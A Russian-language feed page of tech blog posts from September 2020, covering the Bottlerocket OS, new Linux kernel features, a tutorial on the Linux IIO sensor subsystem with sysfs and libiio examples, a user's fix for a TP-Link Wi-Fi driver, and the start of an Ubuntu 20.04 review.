Будет интересно посмотреть, взлетит ли Bottlerocket, учитывая провал некоторых подобных инициатив в прошлом. Например, PhotonOS от Vmware оказалась невостребованной, а RedHat купила CoreOS и закрыла проект, который считался пионером в данной области.

Интеграция Bottlerocket в сервисы AWS делает эту систему в своём роде уникальной. Возможно, это главная причина, почему некоторые пользователи могут предпочесть Bottlerocket другим дистрибутивам, таким как CoreOS или Alpine. Система изначально спроектирована для работы с EKS и ECS, но повторим, что это не обязательно. Во-первых, Bottlerocket можно собрать самостоятельно и использовать, например, как hosted-решение. Во-вторых, пользователи EKS и ECS по-прежнему сохранят возможность выбора ОС.

Исходный код Bottlerocket опубликован на GitHub под лицензией Apache 2.0. Разработчики уже реагируют на баг-репорты и запросы фич.



На правах рекламы


VDSina предлагает VDS с посуточной оплатой. Возможно установить любую операционную систему, в том числе из своего образа. Каждый сервер подключён к интернет-каналу в 500 Мегабит и бесплатно защищён от DDoS-атак!

Подробнее..

Шпаргалка по Ansible k8s, практичный учебник по awk, а также 4 причины использовать Jamstack при веб-разработке

24.09.2020 14:19:46 | Автор: admin


Традиционно короткий дайджест полезных материалов, найденных нами в сети за последние две недели.

Начни новое:



Качай:


  • Шпаргалка по Ansible k8s
    Ansible k8s это специальный модуль для управления объектами Kubernetes из плейбуков Ansible. Как объединить Ansible и Kubernetes при автоматизации облака? Ответ: использовать модуль Ansible k8s, чтобы управлять объектами Kubernetes прямо из плейбуков. И поможет в этом наша шпаргалка, которая содержит полезные советы и сведения по ключевым командам этого модуля.
  • Шпаргалка по тестированию приложений Quarkus


  • Книжка-раскраска Контейнерные супергерои
    Децентрализованная команда опенсорсных контейнерных супергероев в лице Podman, CRI-O, Buildah, Skopeo и OpenShift спасает Землю от атаки астероидов, развертывая над планетой защитный экран.



Почитать на досуге:



Мероприятия:


  • 30 сентября, jconf.dev
    Бесплатная виртуальная Java-конференция прямо у вас на экране. Четыре технотрека с экспертами по Java и облаку, 28 углубленных сессий и два потрясающих основных доклада.
  • 13-14 октября, AnsibleFest
    Выступления, демонстрации, практические занятия и все это в онлайне. Отличная возможность виртуально пообщаться с девелоперами, админами и ЛПР-ами, которые успешно справляются с вызовами перемен с помощью опенсорсных технологий ИТ-автоматизации.

По-русски:


Мы продолжаем серию пятничных вебинаров про нативный опыт использования Red Hat OpenShift Container Platform и Kubernetes. Регистрируйтесь и приходите:

Император Оператор: Операторы в OpenShift и Kubernetes
Упс, вебинар прошел, но есть запись.

OpenShift-специфичные волшебные вещи для сборки и развертывания приложений
Вебинар кончился, но остался в истории ловите запись.

Подробнее..

Перевод Что нового в ядре Linux

28.09.2020 12:18:44 | Автор: admin

image


После всех этих лет, разработчики ядра Linux продолжают внедрять новшества. Новые версии будут быстрее и стабильнее.


Linux работает практически на всем: все 500 из 500 самых быстрых суперкомпьютеров мира; большинство общедоступных облаков, даже Microsoft Azure; и 74 процента смартфонов. Действительно, благодаря Android, Linux является самой популярной операционной системой для конечных пользователей, чуть обойдя Windows на 4 процента (39% против 35%).


Итак, что же будет дальше с Linux? После освещения Linux на протяжении всех 29 лет его истории и зная практически любого, кто хоть как-то связан с разработкой Linux, включая Линуса Торвальдса, я думаю, что у меня есть ответ на этот вопрос.


Недавние улучшения ядра Linux


Самое большое недавнее улучшение и ничто другое даже близко не стоит это то, что Linux теперь станет платформой для виртуальных частных сетей (VPN). Хотя Linux, во многом благодаря OpenVPN, долгое время был важным игроком в сфере VPN, добавление WireGuard, революционного подхода к VPN, меняет всё.


Торвальдсу очень, очень нравится WireGuard, вот что он писал: Могу ли я еще раз заявить о своей любви к нему и надеяться на то, что в скором времени он будет объединен с ядром?. Чего хочет Линус, то он и получает. WireGuard был объединен с ядром Linux 5.6 в марте 2020 года.


Почему он так важен? WireGuard обладает редким качеством в надежности программы: его код чист и прост. Кроме того, он поддерживает передовые технологии криптографии: Noise Protocol Framework, Curve25519, ChaCha20, Poly1305, BLAKE2, SipHash24 и HKDF.


Что еще более важно для пользователей, так это то, что он намного быстрее своих конкурентов. Эталонные тесты показали, что WireGuard быстрее OpenVPN более чем в два раза. Кроме того, он кроссплатформенный, так что вы можете запустить его на Linux сервере, а ваши клиенты могут быть на Windows, macOS, BSD, iOS, Android, и конечно же на Linux.


Ядро Linux 5.6 также может похвастаться и другими значительными улучшениями. Особо выделим то, что для 32-х разрядных систем, Linux решил свою проблему конца времени. Видите ли, во вторник 19 января 2038 года в 03:14:08 по Гринвичу (GMT, также известное как Всемирное координированное время) наступит конец света.


Случиться то, что значение времени в 32-х разрядных операционных системах на основе UNIX, такие, как Linux и более старые версии macOS, исчерпает 32-х битные числа. После этого, отсчёт времени пойдет в обратную сторону с отрицательными числами. А Вы думали, что ошибка 2000 года была страшной!


Всё началось с того, что UNIX, отец Linux, датирует начало времени в секундах от 1 января 1970 года 00:00:00 GMT. Проблема была в том, что UNIX начиналась как 32-х разрядная операционная система, которая хранила время в виде одного 32-х разрядного целого числа со знаком. Это много секунд, но этого недостаточно. Исправление позволяет даже 32-х разрядному Linux использовать 64-х разрядные числа. Конечно это только задерживает проблему до воскресенья 4 декабря 29227702659 года 5:30:08 GMT, но меня это вполне устраивает.


Android и Linux синхронизируются


Все, кто обращают внимание на операционные системы знают, что Android это специализированный дистрибутив Linux для мобильных устройств. Но, возможно, мало кто знает, что на протяжении многих лет, Android был форком Linux. Даже сейчас, спустя 10 лет после того, как разработчики Android и ядра Linux cнова начали работать вместе и хорошо взаимодействовать друг с другом, они не совсем идут нога в ногу. Но это меняется.


Джонатан Корбет, разработчик ядра Linux и писатель, сказал в своем ежегодном отчете по ядру Linux следующее: последнее стабильное ядро находится на пути к тому, чтобы стать частью общего образа системы Android, а затем они будут отслеживать стабильные обновления. Это будет означать, что они будут гораздо ближе к современному уровню техники.


Для Вас это может показаться не важным, но это важно, и вот почему. Сегодня, прежде чем Linux окажется на этом новом, стильном Android-телефоне, который у Вас в руках, он проходит три отдельных, трудоемких этапа. Сначала Google берет ядро Linux с долгосрочной поддержкой (LTS) и добавляет в него специфичный для Android код, для того что бы сделать общее ядро Android. Затем, Google отправляет его производителю систем на кристалле (SoC), например, Qualcomm. OEM-производитель адаптирует ядро под конкретную SoC и чипсет. Наконец, адаптированное общее ядро Android (SoC ядро), передается производителю смартфона. Производитель уже добавляет свои доморощенные, проприетарные драйверы для дисплея, камеры и Wi-Fi/сотового модема. В результате получается ядро устройства это то, что у Вас на телефоне.


Попутно, каждый телефон вбирает в себя, буквально, миллионы строк кода ядра, не являющиеся частью стандартного дистрибутива. Во многом это драйверы устройств, потому что, каждый смартфон или планшет на Android поставляется со своим набором драйверов. Вот почему так сложно сделать по-настоящему универсальный дистрибутив для Android-смартфона, такой как операционная система /e/. Каков результат? В этом стильном, новом телефоне, который у Вас в кармане, установлено ядро Linux, которому уже 2 года. Благодаря этим древним ядрам, LTS-ядра Linux теперь поставляются с шести летней поддержкой.


Google и поставщики не более чем Вы стремятся перенести исправления безопасности на пыльные, старые ядра. Поэтому Google, совместно с сообществом разработчиков, пытается привести поставляемые версии Android, в соответствие с основными текущими ядрами Linux.


Конечно, это займет некоторое время, но пара вечных проблем Android отказ разработчиков Linux поддерживать стабильный двоичный интерфейс приложения (ABI) и столь же твердый отказ производителей оборудования открыть исходные коды своих драйверов остаются с нами и по сей день. ABI определяет как программа взаимодействует с оборудованием, когда Вы не знаете как работать с ним на уровне кода приложения. Разработчики открытого исходного кода хотят работать на уровне API, в то время как производители оборудования довольно часто хотят оставить свои устройства в виде таинственного черного ящика, доступ к которому возможен только через ABI. Несмотря на это, мы наконец-то приблизились к ускорению интеграции Linux в производственный конвейер Android, а это означает, что Android будет более безопасным из коробки.


eBPF: Межсетевой экран, который стал отладчиком Linux


Корбет также рассказал о росте интереса к расширенному фильтру пакетов Беркли (eBPF), используемого как мощный инструмент отладки ядра Linux. Вы спросите, как такое могло произойти? Смотрите.


Хотя eBPF, как и любой межсетевой экран, может захватывать, фильтровать и блокировать сетевые пакеты, он делает это, выполняя код пользовательского пространства внутри виртуальной машины в ядре. Полагаю, вы начинаете уже видеть.


Вы можете запустить eBPF в ответ на действия в tracepoints, kprobes и perf-событиях. Это позволяет Вам отлаживать проблемы ядра и выполнять анализ производительности. Более того, поскольку eBPF программы могут иметь доступ к структурам данных ядра, Вы можете писать, добавлять и тестировать новый отладочный код без перекомпиляции ядра. Для занятых разработчиков это большая экономия времени. Теперь, системные администраторы и программисты, не входящие в круг тех, кто работает непосредственно с ядром Linux, начинают использовать возможности eBPF.


Rust становится вторым языком программирования Linux


С самого первого дня, если Вы хотели развивать ядро Linux или что-то близкое к нему, Вы должны были делать это на языке Си. В самом деле, Вы можете утверждать, что Linux является причиной того, что Си остается самым популярным языком. Но это уже в прошлом.


На виртуальной конференции 2020 Linux Plumbers Conference, где ведущие разработчики ядра Linux обсуждают будущее Linux, говорилось о введении Rust в качестве второго языка ядра. Rust это системный язык программирования высокого уровня, спонсируемый Mozilla, являющейся материнской компанией Firefox. Верите Вы, или нет, но эта идея получает широкую поддержку. Хотя сам Торвальдс уверен в том, что Linux не будет написан на Rust. Однако ведь цель не в этом. Никто не собирается переписывать на Rust, 25 миллионов строк ядра, написанных на Си.


Использование Rust, языка системного уровня, внутри ядра, было предложено Джошем Триплеттом, ведущим специалистом по языку Rust, и Ником Десолнерсом, инженером Google. Почему Rust? Потому что он гораздо безопаснее, чем C, особенно когда дело доходит до работы с памятью.


Как пояснил Райан Левик, главный защитник облачных разработчиков Microsoft, Rust полностью безопасен для памяти. Если принять во внимание, что примерно две трети проблем безопасности могут быть вызваны плохой работой с памятью, то это довольно серьезное улучшение. Кроме того, Райан Левик говорит, что Rust предотвращает эти проблемы, как правило, без добавления каких-либо накладных расходов во время выполнения.


Торвальдс видит в этом свои преимущества. Хотя он поощряет медленный, но неуклонный подход к внедрению Rust в Linux, он также сказал, что использование интерфейсов Rust для драйверов и других программ, не связанных с ядром, имеет смысл: Я убежден, что это произойдет. Это может быть и не Rust, но может случиться так, что у нас будут разные модели для написания подобных вещей, и Си не будет единственной.


Пока разработчики ядра медленно двигаются вперед, другие разработчики дистрибутивов Linux, не теряя времени, приняли Rust. Amazon Web Services (AWS) объявила, что ее только что выпущенный Bottlerocket Linux для контейнеров в основном написан на Rust.


Подобно Microsoft и Firefox, если назвать еще две компании, включающие Rust в свои планы разработки, AWS нравится Rust за его функции защиты памяти. Самарта Чандрашекар, менеджер по продукту AWS, сказала, что это помогает обеспечить безопасность потоков и предотвратить ошибки, связанные с памятью, например, переполнение буфера, которое может привести к уязвимостям в безопасности.


Забегая вперед, становится ясно, что Rust скоро будет играть важную роль как в разработке ядра Linux, так и в разработке дистрибутивов. Кто бы мог подумать, что Си будет хоть немного вытеснен в этой области программирования?


Ядро Linux 6.0 и выше


К концу этого года появится Linux 6.0. Но не стоит сильно обращать внимание на это число. В свое время, Торвальдс сказал о выпуске 5.0 следующее: Я хотел бы отметить (ещё раз), что мы не делаем функциональные релизы, и что 5.0 не означает ничего большего, чем то, что числа 4.х стали такими большими, что у меня не хватает пальцев на руках и ногах, чтобы сосчитать их.


Забегая вперед, можно сказать, что Linux версии 6.0, как и большинство предыдущих релизов, будет состоять из новых и улучшенных драйверов оборудования. Однако все заметят одно перспективное изменение: Linux наконец-то будет поддерживать набор инструкций AMD и Intel FSGSBASE. Хорошо, если вы серьезно не заядлый разработчик, то я только что потерял Вас. В общем, если коротко, то Ваша машина будет работать гораздо быстрее под управлением Linux, поддерживающий этот набор команд.


Вы можете резонно спросить меня, насколько быстрее? Я отвечу, ранние тесты производительности, проводимые на бета-версии ядра Linux 5.9, показали значительное улучшение ввода/вывода. С Redis, хранилищем структур данных в памяти, с открытым исходным кодом, которая часто используется как база данных, прирост производительности составил более 50 процентов. Что не так уж и плохо!


Итак, все сводится к тому, что Linux продолжает улучшать свою скорость и безопасность. И, как это ни удивительно, Linux продолжает расширять свои рынки благодаря недавно интегрированной WireGuard VPN.


Кто знает, возможно, 2021 год станет годом рабочего стола Linux? В конце концов, 2020 год был годом Linux на рабочем столе Windows.

Подробнее..

Нам нужно поговорить про Linux IIO

24.09.2020 14:19:46 | Автор: admin

IIO (промышленный ввод / вывод) это подсистема ядра Linux для аналого-цифровых преобразователей (АЦП), цифро-аналоговых преобразователей (ЦАП) и различных типов датчиков. Может использоваться на высокоскоростных промышленных устройствах. Она, также, включает встроенный API для других драйверов.



Подсистема Industrial I/O Linux предлагает унифицированную среду для связи (чтения и записи) с драйверами, охватывающими различные типы встроенных датчиков и несколько исполнительных механизмов. Он также предлагает стандартный интерфейс для приложений пользовательского пространства, управляющих датчиками через sysfs и devfs.


Вот несколько примеров поддерживаемых типов датчиков в IIO:


  • АЦП / ЦАП
  • акселерометры
  • магнетометры
  • гироскопы
  • давление
  • влажность
  • температура
  • дальнометры

IIO может использоваться во многих различных случаях:


  • Низкоскоростная регистрация для медленно меняющегося входного сигнала (пример: запись температуры в файл)
  • Высоко-скоростной сбор данных с использованием АЦП, DFSDM или внешних устройств (например, аудио, измеритель мощности)
  • Считывание положения вращающегося элемента, используя интерфейс квадратурного энкодера TIM или LPTIM
  • Управление аналоговым источником через ЦАП
  • Внешние устройства подключенные через SPI или I2C

В целом про IIO информации немного, но но она есть, а поэтому в данной обзорной статья мы сначала ...


Сосредоточимся на моментах почему IIO это хорошо


Все наверняка встречали/пользовались конструкциями типа:


# https://www.kernel.org/doc/Documentation/i2c/dev-interfaceopen("/dev/i2c-1", O_RDWR);# https://www.kernel.org/doc/Documentation/spi/spidev.rstopen("/dev/spidev2.0", O_RDWR);

У данного способа много недостатков, я перечислю те которые считаю основными:


  1. нет прерываний
  2. способ доступа для данных индивидуален для каждого устройства

Ну как говориться зачем всё это если есть драйвера ?


Здесь мы опять сталкиваемся с "индивидульностью" каждого устройства (как допустим способ калибровки или размерность).


Собственно IIO даёт нам во-первых универсальность, во-вторых возможность poll по поступлению новых данных.


Сам IIO разделен на два уровня абстракции устройства и каналы измерений.


Выделим два основных способа доступа поддержанных в официальном ядре.


Простое использование IIO


Мы можем читать данные через sysfs (допустим для акселерометра):


# cat /sys/bus/iio/devices/iio\:device0/in_accel_x_raw-493

Это мы прочитали "сырые" измерения, их еще надо привести к общему виду.


Либо через read():


# Включим захват измерений для каждого канала(cd /sys/bus/iio/devices/iio:device0/scan_elements/ && for file in *_en; do echo 1 > $file; done)

Тогда мы можем свести взаимодействие к виду :


int fd = open("/dev/iio:device0");read(fd, buffer, scan_size);# где scan_size это сумма размера всех заказанных измерений, то есть для всех 1 в /sys/bus/iio/devices/iio:device0/scan_elements/*_en

Размер прочитанного блока всегда кратен scan_size, мы получаем "сырые" измерения, которые надо привести к общему виду, об этом позже.


Внутреннее устройство


Каналы


Любой драйвер IIO предоставляет информацию о возможных измерениях в виде стандартного описания каналов struct iio_chan_spec:


IIO types


Пример для датчика BME280


/* https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/pressure/bmp280-core.c#L132*/static const struct iio_chan_spec bmp280_channels[] = {    {        .type = IIO_PRESSURE,        .info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED) |                      BIT(IIO_CHAN_INFO_OVERSAMPLING_RATIO),    },    {        .type = IIO_TEMP,        .info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED) |                      BIT(IIO_CHAN_INFO_OVERSAMPLING_RATIO),    },    {        .type = IIO_HUMIDITYRELATIVE,        .info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED) |                      BIT(IIO_CHAN_INFO_OVERSAMPLING_RATIO),    },};

Как мы можем видеть, данный датчик предоставляет измерения температуры, влажности и давления три отдельных канала с разными типами.


То есть мы можем читать температуру с любого датчика температуры для которого есть драйвер в ядре Linux одним и тем же способом, а так же выбрать любое сочетание данных каналов и читать только их.


Кольцевой буфер


Собственно это не так интригующее как звучит, основан на kfifo делает всё что положено кольцевому буфферу.


Новые данные вытесняют старые, что гарантирует доступ к последнему измерению в любое время, а так же то, что в худшем случае будут потеряны только старые измерения.


Метка времени


Присутствует для любого типа устройства. Нам важно знать, что метка времени выставляется, как правило, в верхней половине обработчика прерывания, что конечно же хуже чем собственная метка времени датчика, но лучшее на что мы можем рассчитывать без неё.


Представлена в наносекундах, является CLOCK_REALTIME.


IIO Triggered Buffers


Триггеры


Представляет из себя "внешнее" событие, которое инициирует захват данных с последующей передачей наверх в user space.


Один и тот же триггер может быть назначен нескольким устройствам, что позволяет получить близкие по времени измерения с нескольких независимых устройств.


Назначить триггер устройству:


# cat /sys/bus/iio/devices/iio\:device0/trigger/current_triggericm20608-dev0# echo > /sys/bus/iio/devices/iio\:device0/trigger/current_trigger# cat /sys/bus/iio/devices/iio\:device0/trigger/current_trigger# echo "icm20608-dev0" > /sys/bus/iio/devices/iio\:device0/trigger/current_trigger

Official Trigger Documentation


IIO sysfs trigger


Industrial IIO configfs support


Triggered buffer support trigger buffer support for IIO subsystem of Linux device driver


Device owned triggers


Данный класс триггеров относиться к собственным триггерам устройства, они определяются в device tree:


icm20608: imu@0 {    ...    interrupt-parent = <&gpio5>;    interrupts = <11 IRQ_TYPE_EDGE_RISING>;    ...};

Это даст нам соответствующий триггер с именем:


cat /sys/bus/iio/devices/trigger0/nameicm20608-dev0

Собственно конкретный данный триггер это просто выход прерывания заведенный на соответствующую ножку gpio, но это не всегда так, таким триггером может являться любой источник прерывания связанный с устройством.


Interrupt triggers (also known as gpio trigger)


iio-trig-interrupt


Фактически тоже самое что и предыдущий тип, но он не привязан ни к какому конкретному устройству. Это может быть просто кнопка подсоединенная к gpio, так и любой источник прерываний.


Данный драйвер не поддержан в ядре в полном виде, ввиду сомнений текущего maintainer'a IIO Jonathan Cameron, хотя он так же является его автором.


Единственный способ задания в официальном ядре через платформенный код необходимый для этого платформенный код вы можете подсмотреть тут Triggered buffer support trigger buffer support for IIO subsystem of Linux device driver
.


Но кому очень хочется может воспользоваться серией патчей:


[v3,1/6] dt-bindings: iio: introduce trigger providers, consumers


Тогда задание через device tree будет выглядеть приблизительно так:


trig0: interrupt-trigger0 {    #io-trigger-cells = <0>;    compatible = "interrupt-trigger";    interrupts = <11 0>;    interrupt-parent = <&gpioa>;};

sysfs trigger


iio-trig-sysfs


Тут всё очень просто пишем в sysfs срабатывает триггер, устройство захватывает текущие измерения и уведомляет потребителя.


Создание триггера:


# echo 10 > /sys/bus/iio/devices/iio_sysfs_trigger/add_trigger

Число используется для генерации имени триггера в виде "sysfstrig%d", его же мы используем при задании триггера устройству.


High resolution timer trigger


Представляет из себя таймер с минимальным возможным разрешением в 1 наносекунду.


# mkdir /sys/kernel/config/iio/triggers/hrtimer/my_trigger_name# cat /sys/bus/iio/devices/trigger4/namemy_trigger_name# cat /sys/bus/iio/devices/trigger4/sampling_frequency100

Одним из дополнительных случаев использования может быть опрос устройств без собственных прерываний допустим "забыли" завести прерывание на SoC.


loop trigger


iio-trig-loop


Экспериментальный триггер предположительно инициированный PATCH v1 5/5 iio:pressure:ms5611: continuous sampling support
.


Смысл заключается в опросе устройства с максимально возможной скоростью. Дополнительно можно посмотреть оригинальный комментарий к коммиту:


iio:trigger: Experimental kthread tight loop trigger.


Опять же нет поддержки DT, так что либо добавлять через патч, либо через платформенный код.


Device tree


Здесь я хочу обратить особое внимание на возможность задать label для узла, которую лучше всего использовать если у вас много однотипных устройств, всегда текущие значения заданные в узле можно подсмотреть в директории of_node для каждого iio:device /sys/bus/iio/devices/iio\:device0/of_node/.


Какой общей рекомендации не существует всё индивидуально и описано в https://elixir.bootlin.com/linux/v5.9-rc1/source/Documentation/devicetree/bindings/iio


Типы каналов измерений


Многие датчики, который раньше существовали как отдельные сущности были перенесены на инфраструктуру IIO, так что похоже тут enum iio_chan_type можно найти почти любой тип измерений. Расшифровку можно посмотреть тут iio_event_monitor.


Формат данных


IIO умеет сообщать в каком формате нам передаются данные iio-buffer-sysfs-interface.


[be|le]:[s|u]bits/storagebitsXrepeat[>>shift]

Живой пример для icm20608:


# cat /sys/bus/iio/devices/iio\:device0/scan_elements/*_typebe:s16/16>>0be:s16/16>>0be:s16/16>>0be:s16/16>>0be:s16/16>>0be:s16/16>>0le:s64/64>>0

Тут более ли менее все понятно:


  • первым идёт порядок байт le или be соответственно мы должны позаботиться о том что порядок совпадает с нашей архитектурой или c выбранным нами порядком байт
  • затем идет тип знаковое или без знаковое, s или u соответственно
  • затем идет длина значения в битах и через / длина поля в котором содержится значение опять же в битах, кратное количеству битов в байте
  • последним идет сдвиг

То есть если бы у нас было два значения по четыре бита упакованных в одно и тоже поле мы видели бы следующее:


be:u4/8>>0be:u4/8>>4

Предпоследнее не показанное в живом примере поле repeat если оно больше 1 передается сразу массив измерений.


Scaling and offset


Как я уже говорил ранее прочитанные данные в сыром виде необходимо привести к общему виду:


/sys/bus/iio/devices/iio:deviceX/in_*_raw/sys/bus/iio/devices/iio:deviceX/in_*_offset/sys/bus/iio/devices/iio:deviceX/in_*_scale

В общем случае преобразование будет иметь вид (raw + offset)*scale, для какого то из типов датчиков offset'a может и не быть.


How to do a simple ADC conversion using the sysfs interface


iio_simple_dummy


Для изучения и тестирования может пригодится iio_simple_dummy модуль ядра эмулирующий абстрактное устройство IIO устройство для следующих каналов:


  • IIO_VOLTAGE
  • IIO_ACCEL
  • IIO_ACTIVITY

The iio_simple_dummy Anatomy


iio_simple_dummy


libiio


Если вышеприведенное показалось вам сложным на помощь к вам идет libiio от Analog Devices.


Помимо того, что она берет на себя рутинные вещи наподобие разбора формата канала или включения/выключения каналов.


У неё есть интересная особенность в виде возможности работы в виде сервера/клиента, в таком случае устройство с датчиками служит в качестве сервера данных, а клиент может располагаться на Linux, Windows или Mac машине, и соединяться через USB, Ethernet или Serial.


Соединение с удаленным узлом iiod:


On remote :


host # iiod

On local :


local $ iio_info -n [host_address]local $ iio_attr -u ip:[host_address] -dlocal $ iio_readdev -u ip:[host_address] -b 256 -s 0 icm20608

Отдельно хочется отметить поддержку Matlab, а так же интересный проект осциллографа.


Пример программы для чтения акселерометра


Приведу пример программы для чтения, как с использованием libiio так и без.


https://github.com/maquefel/icm20608-iio


Работа без использования libiio


Я не буду касаться банальной работы с sysfs так, что в общих чертах для чтения необходимо сделать следующее:


  • Поиск устройства, здесь мы ориентируемся на /sys/bus/iio/iio:deviceN/name, соответственно /sys/bus/iio/iio:deviceN будет совпадать с /dev/iio:deviceN
  • Инициализация каналов в /sys/bus/iio/iio:deviceN/scan_elements/, нам будут передаваться измерения только с тех каналов, которые мы заказали в *_en
  • Инициализация буфера /sys/bus/iio/iio:deviceN/enable

В примере есть минимум необходимый для работы.


Выравнивание


Eго придется делать самим если мы хотим обойтись без libiio.


https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/industrialio-buffer.c#L574


Простой код для вычисления смещения для каждого канала:


    # bytes - всего длина всего пакета в байтах    # length - длина канала в байтах    # offset - смещения относительно начала пакета для канала в байтах    if (bytes % length == 0)        offset = bytes;    else        offset = bytes - bytes % length + length;    bytes = offset + length;

Что в случае без libiio, что в противоположном случае измерение необходимо привести к окончательному виду:


  • привести порядок байт в соответствие с используемым
  • сдвинуть на необходимое значение
  • обрезать лишнее
  • если знаковое, то проделать расширение знака (Sign extension)
  • если есть offset, то прибавить до применения шкалы
  • если есть scale, то применить шкалу

    input = is_be ? betoh(input) : letoh(input);    input >>= shift;    input &= BIT_MASK(bits);    value = is_signed ? (float)sext(input, bits) : (float)input;    if(with_offset) value += offset;    if(with_scale) value *= scale;

Примечание: Расширение знака (Sign extension) в примере представлен самый простой непортируемый вариант. Дополнительно по теме можно глянуть тут SignExtend.


Работа с использованием libiio


Пример работы можно глянуть тут libiio-loop.c
.


Приведу псевдокод с комментариями:


# Создать контекст из uri# uri = "ip:127.0.0.1"# uri = "local:"# uri = "usb:"ctx = iio_create_context_from_uri(uri);# Найти устройство# допустим device = icm20608dev = iio_context_find_device(ctx, device);# Количество доступных каналовnb_channels = iio_device_get_channels_count(dev);# Включить каждый каналfor(int i = 0; i < nb_channels; i++)    iio_channel_enable(iio_device_get_channel(dev, i));# buffer_size = SAMPLES_PER_READ, количество последовательных измерений (по всем каналам)buffer = iio_device_create_buffer(dev, buffer_size, false);# Задать блокирующий режим работыiio_buffer_set_blocking_mode(buffer, true);while(true) {    # Заполнить буфер    iio_buffer_refill(buffer);    # Способов несколько - можно читать и без использования libiio    # Приведу в качестве примера "каноничный" способ, который заключается в том что предоставленная нами функция    # вызывается для каждого канала    # ssize_t print_sample(const struct iio_channel *chn, void *buffer, size_t bytes, __notused void *d)    # const struct iio_channel *chn - текущий канал который мы обрабатываем    # void *buffer - указатель на буфер содержащий измерения для данного канала    # size_t bytes - длина измерения в байтах    # __notused void *d - пользовательские данные которые мы передаем вместе с вызовом iio_buffer_foreach_sample    iio_buffer_foreach_sample(buffer, print_sample, NULL);}# освободить буферiio_buffer_destroy(buffer);# освободить контекстiio_context_destroy(ctx);

Пара слов об альтернативном механизме для чтения данных


В качестве альтернативы доступа к данным был предложен прототип, который позволял перемещать данные из буфера устройства сразу в пользовательский буфер, так называемый механизм Zero-Copy.


Всё это относиться к методам обработки высокоскоростного потока данных.


Сравнение методов (тезисы из презентации):


Решение первое Блоки


  • Группировать несколько измерений в блок
  • Генерировать одно прерывание на один блок
  • Уменьшить расходы на управление
  • Размер блока должен быть конфигурируемым
  • Позволить пользовательского приложению выбирать между задержкой и накладными расходами

Решение второе DMA + mmap()


  • Использовать DMA чтобы перемещать данные от устройства к выделенному блоку памяти
  • Использовать mmap() чтобы иметь доступ к памяти из пользовательского пространства
  • Избежать копирования данных
  • "Бесплатное" демультиплексирование в пользовательском пространстве

High-speed Data Acquisition
using the
Linux Industrial IO framework


По мне так это отличное решения для SDR.


Из переписки с автором я понял, что данная функциональность будет включена в официальное ядро, хотя и не в текущем виде и неизвестно когда.


Автор любезно предоставил данные изменения для ядра 4.19 и 5.4.


С дискуссией по данной теме можно ознакомиться тут


Рекомендуемые материалы


https://bootlin.com/pub/conferences/2012/fosdem/iio-a-new-subsystem/iio-a-new-subsystem.pdf


https://archive.fosdem.org/2012/schedule/event/693/127_iio-a-new-subsystem.pdf


https://events19.linuxfoundation.org/wp-content/uploads/2017/12/Bandan-Das_Drone_SITL_bringup_with_the_IIO_framework.pdf


https://programmer.group/5cbf67db154ab.html


https://elinux.org/images/b/ba/ELC_2017_-_Industrial_IO_and_You-_Nonsense_Hacks%21.pdf


https://elinux.org/images/8/8d/Clausen--high-speed_data_acquisition_with_the_linux_iio_framework.pdf


Для дополнительного изучения


https://linux.ime.usp.br/~marcelosc/2019/09/Simple-IIO-driver


P.S.


Приношу извинения за ссылки, я не смог заставить их выглядеть на markdown как положено, и мне непонятно почему.

Подробнее..

Поддерживаю драйвер tp-link t4u для linux

13.09.2020 14:09:40 | Автор: admin
Когда купил wifi адапртер, думал что будет работать на моей ubuntu 20.04, потому что в числе поддерживаемых систем значился linux. Оказалось что не работает. Попробовал решения, которые предлагают на форумах, но адаптер так и не заработал. Пришлось вчера и сегодня заняться поддержкой драйвера.

Я подумал, а может это и не сложно сделать. И взялся за работу. При компиляции появлялись ошибки. Например нет функции get_ds. Ну да, она была в 4 версии ядра, а в 5 этой функции нет. Я иногда думаю что разработкичи не хотят поддерживать свои драйвера из-за того, что в ядре постоянно изменения вносят и переписывать нужно некоторые участки кода. В общем я посмотрел как в старой версии ядра реализован get_ds, оказывается он просто возвращает KERNEL_DS. Ну это я и заменил также. Потом была проблема со структурой времени, которая в текущем ядре уже есть только 64 битная версия. Это исправил. Были ещё мелкие вроде исправления, но я не помню уже что исправлял. Итак, драйвер скомпилировался, но отказывался регистрировать устройство адаптер. Я нашел патч link, который обязывает производителей указывать правила. Я добавил в каждую запись в os_dep/linux/rtw_cfgvendor.c, такое .policy = VENDOR_CMD_RAW_DATA,

пример
        {                {                        .vendor_id = OUI_GOOGLE,                        .subcmd = RTT_SUBCMD_SET_CONFIG                },                .policy = VENDOR_CMD_RAW_DATA,                .flags = WIPHY_VENDOR_CMD_NEED_WDEV | WIPHY_VENDOR_CMD_NEED_NETDEV,                .doit = rtw_cfgvendor_rtt_set_config        },        {                {                        .vendor_id = OUI_GOOGLE,                        .subcmd = RTT_SUBCMD_CANCEL_CONFIG                },                .policy = VENDOR_CMD_RAW_DATA,                .flags = WIPHY_VENDOR_CMD_NEED_WDEV | WIPHY_VENDOR_CMD_NEED_NETDEV,                .doit = rtw_cfgvendor_rtt_cancel_config        },        {                {                        .vendor_id = OUI_GOOGLE,                        .subcmd = RTT_SUBCMD_GETCAPABILITY                },                .policy = VENDOR_CMD_RAW_DATA,                .flags = WIPHY_VENDOR_CMD_NEED_WDEV | WIPHY_VENDOR_CMD_NEED_NETDEV,                .doit = rtw_cfgvendor_rtt_get_capability        },

И скомпилировал, скопировал и запустил. и вуаля! у меня получилось. ) Хоть я в разработке ядра не разбираюсь, но поддержку простенькую мне удалось сделать. Ссылку на исходники драйвера пока что выложу на google диск. вот ссылка. link
и также теперь есть на github
я рад, если это кому то пригодиться.
image
Подробнее..

Многоликая Убунта в 2020 году

04.09.2020 12:07:35 | Автор: admin
Перед вами необъективный, несерьёзный и нетехнический обзор операционной системы Ubuntu Linux 20.04 и пяти её официальных разновидностей. Если вас интересуют версии ядра, glibc, snapd и наличие экспериментального сеанса wayland вам не сюда. Если вы впервые слышите о Линуксе и вам интересно понять, как о ней думает человек, который сидит под Убунтой уже восемь лет, то вам сюда. Если вы просто хотите посмотреть что-то не очень сложное, слегка ироничное и с картинками, то вам тоже сюда. Если вам кажется, что под катом куча неточностей, упущений и передёргиваний и напрочь отсутствует логика возможно, так и есть, но это же нетехнический и необъективный обзор.

Картинка для привлечения внимания коллаж из шести скриншотов с рабочими столами каждого из рассмотренных в обзоре дистрибутивов

